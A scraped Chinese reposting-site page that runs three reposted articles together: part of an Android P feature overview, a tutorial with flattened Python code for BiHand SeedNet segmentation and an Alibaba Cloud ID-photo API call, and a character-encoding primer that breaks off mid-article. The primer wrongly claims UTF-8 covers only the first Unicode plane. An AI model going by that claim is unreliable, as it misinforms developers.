是使用同一套通用意图分类,这个分类支持语音控制的音箱、智能屏幕、车载系统、电视、耳机等设备。由于不需要额外的 API 接口,所以只要用户的 Android 平台版本支持,App Actions 就可以正常使用了。 App Actions 很快就会面向开发者发布,如果您希望收到这方面的通知,请点击这里找到相关链接参与订阅。 · Slices 和 App Actions 一同到来的新功能还有 Slices,这个功能可以让您的应用以模块化、富交互的形式插入到多个使用场景中,比如 Google Search 和 Assistant。Slices 支持的交互包括 actions、开关、滑动条、滑动内容等等。 Slices 是让内容与用户联系的极佳方式,所以我们希望它可以在更多的场景中出现。除了在 Android P 上对这个功能进行了平台级别的整合外, Slices 的 API 和模板也加入到了 Android Jetpack 里。Android Jetpack 是我们全新打造的一套创建优秀应用的工具和库,通过 Android Jetpack,您制作的 Slices 能在 Kitkat (API 等级 19) 及更高版本上使用 —— 这覆盖了 95% 的已激活 Android 设备。我们也会定期更新 Slices 的模板来支持更多类型的场景和交互 (比如文本输入)。 请查阅上手指南以了解如何制作 Slices,使用 SliceViewer 工具查看您做好的 Slices。接下来,我们计划进一步拓展其使用场景,包括在其他 app 中展现您的 Slices。 · 通知智能回复 (Smart reply in notifications) 机器智能可以为用户体验带来非常积极的进化,Gmail 和 Inbox 里的智能回复功能已经成功地证明了这一点。在 Android P 中,通知消息也加入了智能回复功能,而且我们准备了 API 让您可以为用户带来更度身的使用感受。用来帮助您更轻松地在通知中生成回复的 ML Kit 很快就会到来,请 点击访问此网站 了解详情。 · 文本识别 (Text Classifier) 在 Android P 中,我们将识别文本的机器学习模型进行了扩展,使得它可以识别出诸如日期或航班号这样的信息,并通过 TextClassifier API 来让开发者使用到这些改进。我们还更新了 Linkify API 来利用文本识别的结果生成链接,并为用户提供了更多点击后的选项,从而让他们得以更快地进行下一步操作。当然,开发者也可以在给文本识别出来的信息添加链接时拥有更多的选项。智能 Linkify 在识别精准度以及速度上都有明显的提升。 这个模型现在正在通过 Google Play 进行更新,所以您的应用使用现有的 API 就可以享受到本次更新所带来的变化。在安装更新完的模型后,设备即可直接在本地识别文本里的各种信息,而且这些识别出来的信息只保存在您的手机上而不会通过网络流传出去。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 简洁 (Simplicity) 在 Android P,我们格外强调简洁,并据此改进 Android 的 UI 从而帮助用户们更流畅、更高效地完成操作。对开发者来说,简洁的系统则会帮助用户更容易查找、使用和管理您的应用。 · 全新系统导航 (New system navigation) 我们为 Android P 设计了全新的系统导航,只需使用下图中这个在所有界面中都能看到的小按钮,即可更轻松地访问手机主屏、概览页以及 Assistant。新导航系统也使多任务切换及发现关联应用变得更加简单。在概览页,用户可以拥有更大的视野来查看他们之前中断的操作,这自然也会让他们更容易找到并回到之前的应用中。概览页也提供了搜索、预测推荐应用以及上文提到的 App Actions,而且只需再多划一次即可进入所有应用的列表。 · 文字放大镜 (Text Magnifier) 在 Android P 中,我们加入了新的放大镜工具 (Magnifier widget),使选择文本和调整光标位置变得更加轻松。默认情况下,所有继承自 TextView 的类都会自动支持放大镜,但您也可以使用放大镜 API 将它添加到任何自定义的视图上,从而打造更多样化的体验。 · 后台限制 (Background restrictions) 用户可以更加简单地找到并管理那些在后台消耗电量的应用。通过 Android Vitals 积累下来的成果,Android 可以识别那些过度消耗电量的行为,如滥用唤醒锁定等。在 Android P 中,电池设置页面直接列出了这些过度消耗电量的应用,用户只需一次点击就可以限制它们在后台的活动。 一旦应用被限制,那么它的后台任务、警报、服务以及网络访问都会受限。想要避免被限制的话,请留意 Play Console 中的Android Vitals 控制面板,帮助您了解如何提高性能表现以及优化电量消耗。 后台限制能有效保护系统资源不被恶意消耗,从而确保开发者的应用在不同制造商的不同设备上也能拥有一个基础的合理的运行环境。虽然制造商可以在限制列表上额外添加限制的应用,但它们也必须在电池设置页面为用户开放这些限制的控制权。 我们添加了一个标准 API 来帮助应用知晓自己是否被限制,以及一个 ADB 命令来帮助开发者手动限制应用,从而进行测试。具体请参阅相关文档。接下来我们计划在 Play Console 的 Android Vitals 控制面板里添加一个统计数据,以展示应用受到限制的情况。 · 使用动态处理增强音频 (Enhanced audio with Dynamics Processing) Android P 在音频框架里加入了动态处理效果 (Dynamic Processing Effect) 来帮助开发者改善声音品质。通过动态处理,您可以分离出特定频率的声音,降低过大的音量,或者增强那些过小的音量。举例来说,即便说话者离麦克风较远,而且身处嘈杂或者被刺耳的各种环境音包围的地方,您的应用依然可以有效分离并增强他/她的细语。 动态处理 API 提供了多声场、多频段的动态处理效果,包括一个预均衡器、一个多频段压缩器,一个后均衡器以及一个串联的音量限制器。这样您就可以根据用户的喜好或者环境的变化来控制 Android 设备输出的声音。频段数量以及各个声场的开关都完全可控,大多数参数都支持实时控制,如增益、信号的压缩/释放 (attack/release) 时长,阈值等等。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 安全 (Security) · 用户识别提示 (Biometric prompt) Android P 为市面上涌现出来的各种用户识别机制在系统层面提供了统一的使用体验,应用们不再需要自行提供用户识别操作界面,而只需要使用统一的 BiometricPrompt API 即可。这套全新的 API 替代了 DP1 版本中的 FingerprintDialog API,且支持包括指纹识别 (包括屏幕下指纹识别)、面部识别以及虹膜识别,而且所有系统支持的用户识别需求都包含在一个 USE_BIOMETRIC 权限里。FingerprintManager 以及对应的 USE_FINGERPRINT 权限已经被废弃,请开发者尽快转用 BiometricPrompt。 · 受保护的确认操作 (Protected Confirmation) Android P 新增了受保护的确认操作 (Android Protected Confirmation),这个功能使用可信执行环境 (Trusted Execution Environment, TEE) 来确保一个显示出来的提示文本被真实用户确认。只有在用户确认之后,TEE 才会放行这个文本并可由应用去验证。 · 对私有密钥的增强保护 (Stronger protection for private keys) 我们添加了一个新的 KeyStore 类型,StrongBox。并提供对应的 API 来支持那些提供了防入侵硬件措施的设备,比如独立的 CPU,内存以及安全存储。您可以在 KeyGenParameterSpec 里决定您的密钥是否该交给 StrongBox 安全芯片来保存。 Android P Beta 为用户带来新版本的 Android 需要 Google、芯片供应商以及设备制造商和运营商的共同努力。这个过程中充满了技术挑战,并非一日之功 —— 为了让这个过程更加顺畅,去年我们启动了 Project Treble,并将其包含在 Android Oreo 中。我们与合作伙伴们一直在努力开发这个项目,也已经看到 Treble 所能带来的机遇。 我们宣布,以下 6 家顶级合作伙伴将和我们一起把 Android P Beta 带给全世界的用户,这些设备包括:索尼 Xperia XZ2, 小米 Mi Mix 2S, 诺基亚 7 Plus, Oppo R15 Pro, Vivo X21UD 和 X21, 以及 Essential PH‑1。此外,再加上 Pixel 2, Pixel 2 XL, Pixel 和 Pixel XL,我们希望来自世界各地的早期体验者以及开发者们都能通过这些设备体验到 Android P Beta。 您可查看今天推送的文章查阅支持 beta 体验的合作伙伴和 Pixel 设备清单,并能看到每款设备的详细配置说明。如果您使用 Pixel 设备,现在就可以加入 Android Beta program,然后自动获得最新的 Android P Beta。 马上开始在您喜欢的设备上体验 Android P Beta 吧,欢迎您向我们反馈意见和建议!并请继续关注 Project Treble 的最新动态。 确保 app 兼容 随着越来越多的用户开始体验 Android P Beta,是时候开始测试您 app 的兼容性,以尽早解决在测试中发现的问题并尽快发布更新。请查看迁移手册了解操作步骤以及 Android P 的时间推进表。 请从 Google Play 下载您的应用,并在运行 Android P Beta 的设备或模拟器上测试用户流程。确保您的应用体验良好,并正确处理 Android P 的行为变更。尤其注意动态电量管理、Wi-Fi 权限变化、后台调用摄像头以及传感器的限制、针对应用数据的 SELinux 政策、默认启用 TLS 的变化,以及 Build.SERIAL 限制。 · 公开 API 的兼容性 (Compatibility through public APIs) 针对非 SDK 接口的测试十分重要。正如我们之前所强调的,在 Android P 中,我们将逐渐收紧一些非 SDK 接口的使用,这也要求广大的开发者们,包括 Google 内部的应用团队,使用公开 API。 如果您的应用正在使用私有 Android API 或者库,您需要改为使用 Android SDK 或 NDK 公开的 API。我们在 DP1 里已经对使用私有接口的开发者发出了警告信息,从 Android P Beta 开始,调用非 SDK 接口将会报错 (部分被豁免的私有 API 除外) —— 也就是说您的应用将会遭遇异常,而不再只是警告了。 为了帮助您定位非 SDK API 的使用情况,我们在 StrictMode 里加入了两个新的方法。您可以使用 detectNonSdkApiUsage() 在应用通过反射或 JNI 调用非 SDK API 的时候收到警报,您还可以使用 permitNonSdkApiUsage() 来阻止 StrictMode 针对这些调用报错。这些方法都可助您了解应用调用非 SDK API 的情况,但请注意,即便调用的 API 暂时得到了豁免,最保险的做法依然是尽快放弃对它们的使用。 如果您确实遇到了公开 API 无法满足需求的情况,请立刻告知我们。更多详细内容请查看相关文档。 · 凹口屏测试 (Test with display cutout) 针对凹口屏测试您的应用也十分重要。现在您可以在运行 Android P Beta 的合作伙伴机型上测试,确保您的应用在凹口屏上表现良好。同时,您也可以在 Android P 设备的开发者选项里打开对凹口屏的模拟,对您的应用做相应测试。 体验 Android P 在准备好开发条件后,请深入了解 Android P 并学习可以在您的应用中使用到的全新功能和 API。为了帮助您更轻松地探索和使用新 API,请查阅 API 变化报告 (API 27->DP2, DP1->DP2) 以及 Android P API 文档。访问开发者预览版网站了解详情。 下载/更新 Android P 开发者预览版 SDK 和工具包至 Android Studio 3.1,或使用最新版本的 Android Studio 3.2。如果您手边没有 Android P Beta 设备 (或查看今天推送的次条文章),请使用 Android P 模拟器来运行和测试您的应用。 您的反馈一直都至关重要,我们欢迎您畅所欲言。如果您在开发或测试过程中遇到了问题,请在文章下方留言给我们。再次感谢大家一路以来的支持。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34258782/article/details/87952581。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-10 18:19:36
338
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 目录 1. 作者介绍 2. 算法介绍 2.1 阿里云介绍 2.2 证件照生成背景 2.3 图像分割算法 3.调用阿里云API进行证件照生成实例 3.1 准备工作 3.2 实验代码 3.3 实验结果与分析 参考(可供参考的链接和引用文献) 1. 作者介绍 王逸腾,男,西安工程大学电子信息学院,2022级硕士研究生 研究方向:三维手部姿态和网格估计 电子邮件:2978558373@qq.com 路治东,男,西安工程大学电子信息学院,2022级研究生,张宏伟人工智能课题组 研究方向:机器视觉与人工智能 电子邮件:2063079527@qq.com 2. 算法介绍 2.1 阿里云介绍 阿里云创立于2009年,是全球领先的云计算及人工智能科技公司,致力于以在线公共服务的方式,提供安全、可靠的计算和数据处理能力,让计算和人工智能成为普惠科技。阿里云服务着制造、金融、政务、交通、医疗、电信、能源等众多领域的领军企业,包括中国联通、12306、中石化、中石油、飞利浦、华大基因等大型企业客户,以及微博、知乎、锤子科技等明星互联网公司。在天猫双11全球狂欢节、12306春运购票等极富挑战的应用场景中,阿里云保持着良好的运行纪录 阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本 猿辅导、中泰证券、小米、媛福达、Soul和当贝,这些我们耳熟能详的APP或企业中,阿里云给他们提供了性能强大、安全、稳定的云产品与服务。 计算,容器,存储,网络与CDN,安全、中间件、数据库、大数据计算、人工智能与机器学习、媒体服务、企业服务与云通信、物联网、开发工具、迁移与运维管理和专有云等方面,阿里云都做的很不错。 2.2 证件照生成背景 传统做法:通常是人工进行P图,不仅费时费力,而且效果也很难保障,容易有瑕疵。 机器学习做法:通常利用边缘检测算法进行人物轮廓提取。 深度学习做法:通常使用分割算法进行人物分割。例如U-Net网络。 2.3 图像分割算法 《BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks》里的SeedNet网络是很经典的网络,它把分割任务转变成多个任务。作者的思想是:尽可能的通过多任务学习收拢语义,这样或许会分割的更好或姿态估计的更好。其实这个模型就是多阶段学习网络的一部分,作者想通过中间监督来提高网络的性能。 我提取bihand网络中的SeedNet与训练权重,进行分割结果展示如下 我是用的模型不是全程的,是第一阶段的。为了可视化出最好的效果,我把第一阶段也就是SeedNet网络的输出分别采用不同的方式可视化。 从左边数第一张图为原图,第二张图为sigmoid后利用plt.imshow(colored_mask, cmap=‘jet’)进行彩色映射。第三张图为网络输出的张量经过sigmoid后,二色分割图,阀闸值0.5。第四张为网络的直接输出,利用直接产生的张量图进行颜色映射。第五张为使用sigmoid处理张量后进行的颜色映射。第六张为使用sigmoid处理张量后进行0,1分割掩码映射。使用原模型和网络需要添加很多代码。下面为修改后的的代码: 下面为修改后的net_seedd代码: Copyright (c) Lixin YANG. All Rights Reserved.r"""Networks for heatmap estimation from RGB images using Hourglass Network"Stacked Hourglass Networks for Human Pose Estimation", Alejandro Newell, Kaiyu Yang, Jia Deng, ECCV 2016"""import numpy as npimport torchimport torch.nn as nnimport torch.nn.functional as Ffrom skimage import io,transform,utilfrom termcolor import colored, cprintfrom bihand.models.bases.bottleneck import BottleneckBlockfrom bihand.models.bases.hourglass import HourglassBisectedimport bihand.utils.func as funcimport matplotlib.pyplot as pltfrom bihand.utils import miscimport matplotlib.cm as cmdef color_mask(output_ok): 颜色映射cmap = plt.cm.get_cmap('jet') 将张量转换为numpy数组mask_array = output_ok.detach().numpy() 创建彩色图像cmap = cm.get_cmap('jet')colored_mask = cmap(mask_array)return colored_mask 可视化 plt.imshow(colored_mask, cmap='jet') plt.axis('off') plt.show()def two_color(mask_tensor): 将张量转换为numpy数组mask_array = mask_tensor.detach().numpy() 将0到1之间的值转换为二值化掩码threshold = 0.5 阈值,大于阈值的为白色,小于等于阈值的为黑色binary_mask = np.where(mask_array > threshold, 1, 0)return binary_mask 可视化 plt.imshow(binary_mask, cmap='gray') plt.axis('off') plt.show()class SeedNet(nn.Module):def __init__(self,nstacks=2,nblocks=1,njoints=21,block=BottleneckBlock,):super(SeedNet, self).__init__()self.njoints = njointsself.nstacks = nstacksself.in_planes = 64self.conv1 = nn.Conv2d(3, self.in_planes, kernel_size=7, stride=2, padding=3, bias=True)self.bn1 = nn.BatchNorm2d(self.in_planes)self.relu = nn.ReLU(inplace=True)self.maxpool = nn.MaxPool2d(2, stride=2)self.layer1 = self._make_residual(block, nblocks, self.in_planes, 2self.in_planes) current self.in_planes is 64 2 = 128self.layer2 = self._make_residual(block, nblocks, self.in_planes, 2self.in_planes) current self.in_planes is 128 2 = 256self.layer3 = self._make_residual(block, nblocks, self.in_planes, self.in_planes)ch = self.in_planes 256hg2b, res1, res2, fc1, _fc1, fc2, _fc2= [],[],[],[],[],[],[]hm, _hm, mask, _mask = [], [], [], []for i in range(nstacks): 2hg2b.append(HourglassBisected(block, nblocks, ch, depth=4))res1.append(self._make_residual(block, nblocks, ch, ch))res2.append(self._make_residual(block, nblocks, ch, ch))fc1.append(self._make_fc(ch, ch))fc2.append(self._make_fc(ch, ch))hm.append(nn.Conv2d(ch, njoints, kernel_size=1, bias=True))mask.append(nn.Conv2d(ch, 1, kernel_size=1, bias=True))if i < nstacks-1:_fc1.append(nn.Conv2d(ch, ch, kernel_size=1, bias=False))_fc2.append(nn.Conv2d(ch, ch, kernel_size=1, bias=False))_hm.append(nn.Conv2d(njoints, ch, kernel_size=1, bias=False))_mask.append(nn.Conv2d(1, ch, kernel_size=1, bias=False))self.hg2b = nn.ModuleList(hg2b) hgs: hourglass stackself.res1 = nn.ModuleList(res1)self.fc1 = nn.ModuleList(fc1)self._fc1 = nn.ModuleList(_fc1)self.res2 = nn.ModuleList(res2)self.fc2 = nn.ModuleList(fc2)self._fc2 = nn.ModuleList(_fc2)self.hm = nn.ModuleList(hm)self._hm = nn.ModuleList(_hm)self.mask = nn.ModuleList(mask)self._mask = nn.ModuleList(_mask)def _make_fc(self, in_planes, out_planes):bn = nn.BatchNorm2d(in_planes)conv = nn.Conv2d(in_planes, out_planes, kernel_size=1, bias=False)return nn.Sequential(conv, bn, self.relu)def _make_residual(self, block, nblocks, in_planes, out_planes):layers = []layers.append( block( in_planes, out_planes) )self.in_planes = out_planesfor i in range(1, nblocks):layers.append(block( self.in_planes, out_planes))return nn.Sequential(layers)def forward(self, x):l_hm, l_mask, l_enc = [], [], []x = self.conv1(x) x: (N,64,128,128)x = self.bn1(x)x = self.relu(x)x = self.layer1(x)x = self.maxpool(x) x: (N,128,64,64)x = self.layer2(x)x = self.layer3(x)for i in range(self.nstacks): 2y_1, y_2, _ = self.hg2b[i](x)y_1 = self.res1[i](y_1)y_1 = self.fc1[i](y_1)est_hm = self.hm[i](y_1)l_hm.append(est_hm)y_2 = self.res2[i](y_2)y_2 = self.fc2[i](y_2)est_mask = self.mask[i](y_2)l_mask.append(est_mask)if i < self.nstacks-1:_fc1 = self._fc1[i](y_1)_hm = self._hm[i](est_hm)_fc2 = self._fc2[i](y_2)_mask = self._mask[i](est_mask)x = x + _fc1 + _fc2 + _hm + _maskl_enc.append(x)else:l_enc.append(x + y_1 + y_2)assert len(l_hm) == self.nstacksreturn l_hm, l_mask, l_encif __name__ == '__main__':a = torch.randn(10, 3, 256, 256) SeedNetmodel = SeedNet() output1,output2,output3 = SeedNetmodel(a) print(output1,output2,output3)total_params = sum(p.numel() for p in SeedNetmodel.parameters())/1000000print("Total parameters: ", total_params)pretrained_weights_path = 'E:/bihand/released_checkpoints/ckp_seednet_all.pth.tar'img_rgb_path=r"E:\FreiHAND\training\rgb\00000153.jpg"img=io.imread(img_rgb_path)resized_img = transform.resize(img, (256, 256), anti_aliasing=True)img256=util.img_as_ubyte(resized_img)plt.imshow(resized_img)plt.axis('off') 关闭坐标轴plt.show()''' implicit HWC -> CHW, 255 -> 1 '''img1 = func.to_tensor(img256).float() 转换为张量并且进行标准化处理''' 0-mean, 1 std, [0,1] -> [-0.5, 0.5] '''img2 = func.normalize(img1, [0.5, 0.5, 0.5], [1, 1, 1])img3 = torch.unsqueeze(img2, 0)ok=img3print(img.shape)SeedNetmodel = SeedNet()misc.load_checkpoint(SeedNetmodel, pretrained_weights_path)加载权重output1, output2, output3 = SeedNetmodel(img3)mask_tensor = torch.rand(1, 64, 64)output=output2[1] 1,1,64,64output_1=output[0] 1,64,64output_ok=torch.sigmoid(output_1[0])output_real=output_1[0].detach().numpy()直接产生的张量图color_mask=color_mask(output_ok) 显示彩色分割图two_color=two_color(output_ok)显示黑白分割图see=output_ok.detach().numpy() 使用Matplotlib库显示分割掩码 plt.imshow(see, cmap='gray') plt.axis('off') plt.show() print(output1, output2, output3)images = [resized_img, color_mask, two_color,output_real,see,see]rows = 1cols = 4 创建子图并展示图像fig, axes = plt.subplots(1, 6, figsize=(30, 5)) 遍历图像列表,并在每个子图中显示图像for i, image in enumerate(images):ax = axes[i] if cols > 1 else axes 如果只有一列,则直接使用axesif i ==5:ax.imshow(image, cmap='gray')else:ax.imshow(image)ax.imshowax.axis('off') 调整子图之间的间距plt.subplots_adjust(wspace=0.1, hspace=0.1) 展示图像plt.show() 上述的代码文件是在bihand/models/net_seed.py中,全部代码链接在https://github.com/lixiny/bihand。 把bihand/models/net_seed.p中的代码修改为我提供的代码即可使用作者训练好的模型和进行各种可视化。(预训练模型根据作者代码提示下载) 3.调用阿里云API进行证件照生成实例 3.1 准备工作 1.找到接口 进入下面链接即可快速访问 link 2.购买试用包 3.查看APPcode 4.下载代码 5.参数说明 3.2 实验代码 !/usr/bin/python encoding: utf-8"""===========================证件照制作接口==========================="""import requestsimport jsonimport base64import hashlibclass Idphoto:def __init__(self, appcode, timeout=7):self.appcode = appcodeself.timeout = timeoutself.make_idphoto_url = 'https://idp2.market.alicloudapi.com/idphoto/make'self.headers = {'Authorization': 'APPCODE ' + appcode,}def get_md5_data(self, body):"""md5加密:param body_json::return:"""md5lib = hashlib.md5()md5lib.update(body.encode("utf-8"))body_md5 = md5lib.digest()body_md5 = base64.b64encode(body_md5)return body_md5def get_photo_base64(self, file_path):with open(file_path, 'rb') as fp:photo_base64 = base64.b64encode(fp.read())photo_base64 = photo_base64.decode('utf8')return photo_base64def aiseg_request(self, url, data, headers):resp = requests.post(url=url, data=data, headers=headers, timeout=self.timeout)res = {"status_code": resp.status_code}try:res["data"] = json.loads(resp.text)return resexcept Exception as e:print(e)def make_idphoto(self, file_path, bk, spec="2"):"""证件照制作接口:param file_path::param bk::param spec::return:"""photo_base64 = self.get_photo_base64(file_path)body_json = {"photo": photo_base64,"bk": bk,"with_photo_key": 1,"spec": spec,"type": "jpg"}body = json.dumps(body_json)body_md5 = self.get_md5_data(body=body)self.headers.update({'Content-MD5': body_md5})data = self.aiseg_request(url=self.make_idphoto_url, data=body, headers=self.headers)return dataif __name__ == "__main__":file_path = "图片地址"idphoto = Idphoto(appcode="你的appcode")d = idphoto.make_idphoto(file_path, "red", "2")print(d) 3.3 实验结果与分析 原图片 背景为红色生成的证件照 背景为蓝色生成的证件照 另外尝试了使用柴犬照片做实验,也生成了证件照 原图 背景为红色生成的证件照 参考(可供参考的链接和引用文献) 1.参考:BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks(BMVC2020) 论文链接:https://arxiv.org/pdf/2008.05079.pdf 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37758063/article/details/131128967。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-11 23:36:51
131
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1、引言 IM等社交应用的开发工作中,乱码问题也很常见,比如: 1)IM聊天消息中的Emoji表情为什么发给后端后MySQL数据库里会乱码; 2)文件名中带有中文的大文件聊天消息发送后,对方看到的文名是乱码; 3)Http rest接口调用时,后端读取到APP端传过来的参数有中文乱码问题; ... ... 那么,对于乱码这个看似不起眼,但并不是一两话能讲清楚的问题,是很有必要从根源了解字符集和编码原理,知其然知其所以然显然是一个优秀码农的基本素养,所以,便有了本文,希望能帮助到你。 推荐阅读:关于字符编码知识的详细讲解请见《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》。 学习交流: - 即时通讯/推送技术开发交流5群:215477170 [推荐] - 移动端IM开发入门文章:《新手入门一篇就够:从零开发移动端IM》 (本文同步发布于:http://www.52im.net/thread-2868-1-1.html) 2、关于作者 卢钧轶:爱捣腾Linux的DBA。曾任职于大众点评网DBA团队,主要关注MySQL、Memcache、MMM等产品的高性能和高可用架构。 个人微博:米雪儿侬好的cenalulu Github地址:https://github.com/cenalulu 3、系列文章 本文是IM开发干货系列文章中的第21篇,总目录如下: 《IM消息送达保证机制实现(一):保证在线实时消息的可靠投递》 《IM消息送达保证机制实现(二):保证离线消息的可靠投递》 《如何保证IM实时消息的“时序性”与“一致性”?》 《IM单聊和群聊中的在线状态同步应该用“推”还是“拉”?》 《IM群聊消息如此复杂,如何保证不丢不重?》 《一种Android端IM智能心跳算法的设计与实现探讨(含样例代码)》 《移动端IM登录时拉取数据如何作到省流量?》 《通俗易懂:基于集群的移动端IM接入层负载均衡方案分享》 《浅谈移动端IM的多点登陆和消息漫游原理》 《IM开发基础知识补课(一):正确理解前置HTTP SSO单点登陆接口的原理》 《IM开发基础知识补课(二):如何设计大量图片文件的服务端存储架构?》 《IM开发基础知识补课(三):快速理解服务端数据库读写分离原理及实践建议》 《IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token》 《IM群聊消息的已读回执功能该怎么实现?》 《IM群聊消息究竟是存1份(即扩散读)还是存多份(即扩散写)?》 《IM开发基础知识补课(五):通俗易懂,正确理解并用好MQ消息队列》 《一个低成本确保IM消息时序的方法探讨》 《IM开发基础知识补课(六):数据库用NoSQL还是SQL?读这篇就够了!》 《IM里“附近的人”功能实现原理是什么?如何高效率地实现它?》 《IM开发基础知识补课(七):主流移动端账号登录方式的原理及设计思路》 《IM开发基础知识补课(八):史上最通俗,彻底搞懂字符乱码问题的本质》(本文) 4、正文概述 字符集和编码无疑是IT菜鸟甚至是各种大神的头痛问题。当遇到纷繁复杂的字符集,各种火星文和乱码时,问题的定位往往变得非常困难。 本文内容就将会从原理方面对字符集和编码做个简单的科普介绍,同时也会介绍一些通用的乱码故障定位的方法以方便读者以后能够更从容的定位相关问题。 在正式介绍之前,先做个小申明:如果你希望非常精确的理解各个名词的解释,那么可以详细阅读这篇《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》。 本文是博主通过自己理解消化后并转化成易懂浅显的表述后的介绍,会尽量以简单明了的文字来从要源讲解字符集、字符编码的概念,以及在遭遇乱码时的一些常用诊断技巧,希望能助你对于“乱码”问题有更深地理解。 5、什么是字符集 在介绍字符集之前,我们先了解下为什么要有字符集。 我们在计算机屏幕上看到的是实体化的文字,而在计算机存储介质中存放的实际是二进制的比特流。那么在这两者之间的转换规则就需要一个统一的标准,否则把我们的U盘插到老板的电脑上,文档就乱码了;小伙伴QQ上传过来的文件,在我们本地打开又乱码了。 于是为了实现转换标准,各种字符集标准就出现了。 简单的说:字符集就规定了某个文字对应的二进制数字存放方式(编码)和某串二进制数值代表了哪个文字(解码)的转换关系。 那么为什么会有那么多字符集标准呢? 这个问题实际非常容易回答。问问自己为什么我们的插头拿到英国就不能用了呢?为什么显示器同时有DVI、VGA、HDMI、DP这么多接口呢?很多规范和标准在最初制定时并不会意识到这将会是以后全球普适的准则,或者处于组织本身利益就想从本质上区别于现有标准。于是,就产生了那么多具有相同效果但又不相互兼容的标准了。 说了那么多我们来看一个实际例子,下面就是“屌”这个字在各种编码下的十六进制和二进制编码结果,怎么样有没有一种很屌的感觉? 6、什么是字符编码 字符集只是一个规则集合的名字,对应到真实生活中,字符集就是对某种语言的称呼。例如:英语,汉语,日语。 对于一个字符集来说要正确编码转码一个字符需要三个关键元素: 1)字库表(character repertoire):是一个相当于所有可读或者可显示字符的数据库,字库表决定了整个字符集能够展现表示的所有字符的范围; 2)编码字符集(coded character set):即用一个编码值code point来表示一个字符在字库中的位置; 3)字符编码(character encoding form):将编码字符集和实际存储数值之间的转换关系。 一般来说都会直接将code point的值作为编码后的值直接存储。例如在ASCII中“A”在表中排第65位,而编码后A的数值是 0100 0001 也即十进制的65的二进制转换结果。 看到这里,可能很多读者都会有和我当初一样的疑问:字库表和编码字符集看来是必不可少的,那既然字库表中的每一个字符都有一个自己的序号,直接把序号作为存储内容就好了。为什么还要多此一举通过字符编码把序号转换成另外一种存储格式呢? 其实原因也比较容易理解:统一字库表的目的是为了能够涵盖世界上所有的字符,但实际使用过程中会发现真正用的上的字符相对整个字库表来说比例非常低。例如中文地区的程序几乎不会需要日语字符,而一些英语国家甚至简单的ASCII字库表就能满足基本需求。而如果把每个字符都用字库表中的序号来存储的话,每个字符就需要3个字节(这里以Unicode字库为例),这样对于原本用仅占一个字符的ASCII编码的英语地区国家显然是一个额外成本(存储体积是原来的三倍)。算的直接一些,同样一块硬盘,用ASCII可以存1500篇文章,而用3字节Unicode序号存储只能存500篇。于是就出现了UTF-8这样的变长编码。在UTF-8编码中原本只需要一个字节的ASCII字符,仍然只占一个字节。而像中文及日语这样的复杂字符就需要2个到3个字节来存储。 关于字符编码知识的详细讲解请见:《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》。 7、UTF-8和Unicode的关系 看完上面两个概念解释,那么解释UTF-8和Unicode的关系就比较简单了。 Unicode就是上文中提到的编码字符集,而UTF-8就是字符编码,即Unicode规则字库的一种实现形式。 随着互联网的发展,对同一字库集的要求越来越迫切,Unicode标准也就自然而然的出现。它几乎涵盖了各个国家语言可能出现的符号和文字,并将为他们编号。详见:Unicode百科介绍。 Unicode的编号从 0000 开始一直到10FFFF 共分为17个Plane,每个Plane中有65536个字符。而UTF-8则只实现了第一个Plane,可见UTF-8虽然是一个当今接受度最广的字符集编码,但是它并没有涵盖整个Unicode的字库,这也造成了它在某些场景下对于特殊字符的处理困难(下文会有提到)。 8、UTF-8编码简介 为了更好的理解后面的实际应用,我们这里简单的介绍下UTF-8的编码实现方法。即UTF-8的物理存储和Unicode序号的转换关系。 UTF-8编码为变长编码,最小编码单位(code unit)为一个字节。一个字节的前1-3个bit为描述性部分,后面为实际序号部分: 1)如果一个字节的第一位为0,那么代表当前字符为单字节字符,占用一个字节的空间。0之后的所有部分(7个bit)代表在Unicode中的序号; 2)如果一个字节以110开头,那么代表当前字符为双字节字符,占用2个字节的空间。110之后的所有部分(5个bit)加上后一个字节的除10外的部分(6个bit)代表在Unicode中的序号。且第二个字节以10开头; 3)如果一个字节以1110开头,那么代表当前字符为三字节字符,占用3个字节的空间。110之后的所有部分(5个bit)加上后两个字节的除10外的部分(12个bit)代表在Unicode中的序号。且第二、第三个字节以10开头; 4)如果一个字节以10开头,那么代表当前字节为多字节字符的第二个字节。10之后的所有部分(6个bit)和之前的部分一同组成在Unicode中的序号。 具体每个字节的特征可见下表,其中“x”代表序号部分,把各个字节中的所有x部分拼接在一起就组成了在Unicode字库中的序号。如下图所示。 我们分别看三个从一个字节到三个字节的UTF-8编码例子: 细心的读者不难从以上的简单介绍中得出以下规律: 1)3个字节的UTF-8十六进制编码一定是以E开头的; 2)2个字节的UTF-8十六进制编码一定是以C或D开头的; 3)1个字节的UTF-8十六进制编码一定是以比8小的数字开头的。 9、为什么会出现乱码 